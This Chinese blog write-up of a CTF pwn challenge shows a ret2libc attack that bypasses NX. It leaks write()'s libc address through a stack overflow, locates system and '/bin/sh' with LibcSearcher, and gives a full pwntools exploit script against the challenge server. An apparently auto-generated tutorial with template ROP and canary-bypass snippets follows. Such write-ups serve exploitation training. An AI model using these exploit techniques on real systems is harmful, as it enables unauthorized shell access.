CTF中的PWN——绕NX防护2(泄露libc + 栈溢出)

本文深入探讨了在PWN攻击中如何绕过NX保护机制,利用write函数泄露远程libc地址,通过LibcSearcher与libc_database工具定位函数偏移,最终实现系统函数的调用。文章提供了详细的步骤与代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言:

    继续PWN的学习,今天整理一下绕过NX,同时libc本地不存在需要通过相应函数泄露地址的方式进行进行溢出。

本题工具介绍:

  • LibcSearcher 

    一个基于libc_database写的python库,可以通过泄露的函数实际地址查找对应的libc版本。

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")    

    本题 通过write函数实际地址找到远程的libc,然后dump出其他函数的offset。

  • libc_database

    ./add 用来添加libc库

./add /usr/lib/libc-2.21.so

    ./find 用来查找libc版本

$ ./find printf 260
archive-glibc (id libc6_2.19-10ubuntu2_i386)

    ./dump 用来输出libc中的一些函数的偏移

$ ./dump libc6_2.19-0ubuntu6.6_i386
offset___libc_start_main_ret = 0x19a83
offset_system = 0x00040190
offset_dup2 = 0x000db590
offset_recv = 0x000ed2d0
offset_str_bin_sh = 0x160a24

    本题找到远程加载的libc版本后使用此工具dump出其他函数的offset。

题目:(new bugku pwn7)

    检查程序详细信息,发现为32bit,开启着NX,同时 RELRO:    Partial RELRO。

    放入IDA中静态分析,发现read()危险函数,主函数有write函数:

    此题目思路:使用wirte函数泄露出(wirte/__libc_start_main)等实际地址,查找对应的libc动态链接库,通过此库查找系统函数的偏移,计算相应的实际地址,溢出即可。构造payload如下:

from pwn import *

context.log_level = "debug"

#p = process('./pwn7')
p = remote('114.116.54.89',10007)
elf = ELF('./pwn7')

write_plt = elf.plt['write']
write_got = elf.got['write']
print write_got
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x0804846B
offset_write = 0x000d43c0
offset_system = 0x0003a940
offset_str_bin_sh = 0x15902b

payload = 'A' * 40 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

p.sendlineafter('plz input your name:\n',payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - offset_write
sys_addr = libc_base + offset_system
sh_addr = libc_base + offset_str_bin_sh

payload = 'A' * 40 + p32(sys_addr) + 'nEIP' + p32(sh_addr)
p.sendline(payload)
p.interactive()

    脚本运行结果如下:

 

    注:常用的32bit带参溢出的方式中会使用4byte代替PUSH EIP来骗过CPU,但是此软件要通过溢出泄露出write函数的实际地址后继续溢出,那么就需要将返回地址填充想要继续执行的指令的地址;

           针对本地的调用wirte@plt函数,在构造参数的时候是p32(1) + p32(write_got) +p32(4)作为write函数的参数,其中“1”表示的是标准输出,而0代表标准输入。“4”代表4字节。

总结:

  • 关于绕过NX的方式:
  1. 软件有system函数的直接用;
  2. 程序自带libc,直接elf.symbols['system']  elf.search(''/bin/sh)或使用one_gadgat构造ROP链;
  3. 需要泄露远端libc版本,一般使用puts/write泄露地址,计算基地址。
### CTF PWN 栈溢出题目解题思路与漏洞利用教程 #### 一、栈溢出基础概念 栈溢出是一种常见的内存错误,当程序试图向栈中写入的数据量超过了分配给该变量的空间时就会发生。这种情况下,额外的数据会覆盖相邻的内存区域,可能导致程序行为异常甚至崩溃。在CTF竞赛中的PWN挑战里,攻击者可以巧妙地利用这一特性来改变程序执行流程,达到任意代码执行的目的。 #### 二、常见技术手段及其应用场景 ##### (一)Return-to-libc (ret2libc) 这种方法适用于目标系统启用了NX位保护的情况,在此条件下直接注入Shellcode变得不可行。通过精心构造输入数据,使得函数返回后跳转至`libc`库内的某个有用功能(如`system()`),并传递合适的参数指向环境变量或其他位置存储的命令字符串(通常是`/bin/sh`)。这种方式不需要实际执行自定义机器码就能完成提权操作[^3]。 ```python from pwn import * # 建立连接 conn = remote('target_ip', port) # 构造payload offset_to_return_address = b'A' * offset_length address_of_system_function = pack(system_addr, 'little') argument_for_system_call = pack(bin_sh_string_addr, 'little') final_payload = offset_to_return_address + address_of_system_function + argument_for_system_call # 发送载荷触发漏洞 conn.send(final_payload) # 进入交互模式等待进一步指令 conn.interactive() ``` ##### (二)Return-Oriented Programming (ROP) 对于开启了ASLR(Address Space Layout Randomization)机制的目标而言,单纯依靠固定的地址难以稳定工作。此时可采用ROP链的方式过这些限制。具体做法是从现有二进制文件或共享库中挑选一系列短小精悍的小工具(gadgets),它们各自负责一小部分任务;然后按照一定顺序串联起来形成完整的恶意逻辑序列。最终目的是调用能够创建新进程或者打开shell等功能的方法[^1]。 ```python rop_chain = ROP(binary_path_or_elf_object) # 添加gadget到rop chain中... rop_chain.raw(pack(pop_rdi_gadget)) rop_chain.raw(pack(command_arg)) rop_chain.call(target_function_name) exploit_code = cyclic(offset_before_retaddr) + str(rop_chain) ``` ##### (三)Bypassing Canary Protection 现代操作系统为了防止缓冲区越界读取引发的安全隐患引入了canaries随机数作为屏障放置于局部数组之后但在保存下来的基址指针之前的位置上。一旦检测到canary值被篡改,则立即终止应用程序以防事态扩大。然而如果能事先获知其确切数值的话还是有机会突破防线继续实施后续动作。可以通过格式化串漏洞或者其他途径间接获取canary的具体值。 ```python leaked_canary_value = u64(leak_response[-8:].ljust(8,b'\x00')) forgery_input = flat({ padding_len: leaked_canary_value, return_addr_offset: target_func_ptr }) ``` #### 三、实战案例分析 以一道典型的CTF PWN题目为例说明整个过程: 假设有一个存在栈溢出缺陷的服务端应用正在监听网络请求,它接受客户端发送过来的一条消息并将其打印出来。经过初步逆向工程得知其中确实隐藏着一处危险点允许外部操控EIP寄存器的内容。考虑到服务器部署环境中已经禁用了execve syscall以及所有形式的动态加载模块访问权限,因此决定采取基于静态链接版本下的return-oriented programming策略来进行破解尝试。 首先定位到了几个关键性的辅助函数入口地址,包括但不限于`read()`, `write()`, 和最重要的`dup2()`用于重定向标准I/O描述符以便后期建立反向外连通道。接着便是着手准备必要的Rop Chain组件,这里涉及到多次试探性查询直至完全掌握堆栈布局细节为止。最后一步就是组合成完整有效的Payload并通过socket接口投递给远端主机上的易受攻击服务实例上去验证效果如何。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值